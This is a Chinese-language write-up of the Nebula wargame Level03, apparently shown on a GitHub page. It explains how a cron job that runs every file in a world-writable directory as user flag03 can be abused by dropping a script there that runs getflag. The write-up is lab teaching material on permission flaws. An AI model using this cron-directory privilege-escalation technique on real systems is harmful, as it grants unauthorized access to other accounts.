Skip to content

Latest commit

 

History

History
28 lines (21 loc) · 1.37 KB

Level03——利用计划任务提权.org

File metadata and controls

28 lines (21 loc) · 1.37 KB

根据官方的提示,这关有一个Crontab脚本,它会每间隔两分钟自动执行/home/flag03下的writable.sh。(可以用nebula帐号登录系统,通过sudo ls /var/spool/cron/crontabs看到Crontab设置)

而writable.sh内容如下:

#!/bin/sh
for i in /home/flag03/writable.d/*;do
    (ulimit -t 5;bash -x "$i")
    rm -f "$i"
done

这个Crontab脚本做的事是自动执行/home/flag03/writable.d目录里的所有文件,之后再删除。ulimit -t 5限制了cpu使用时间,这个不太要紧,最重要的是我们要利用writable.d这个目录做点事儿,这个crontab是以flag03的身份创建的,因此每次执行都是以flag03这个身份的,而writable.d这个目录任何人可读可写,所以只需放一个可执行脚本在writable.d里,等着它自动运行:

level03@nebula:/home/flag03$ cd writable.d/
level03@nebula:/home/flag03/writable.d$ echo "/bin/getflag > /tmp/lu4nx" > run
level03@nebula:/home/flag03/writable.d$ cat run

等待两分钟后writable.sh将会被执行,由于writable.sh的执行,导致writable.d里的run也会随着被执行,接着我们查看结果:

level03@nebula:/tmp$ cat lu4nx
You have successfully executed getflag on a target account

本关很好地体现出权限不严格导致的结果。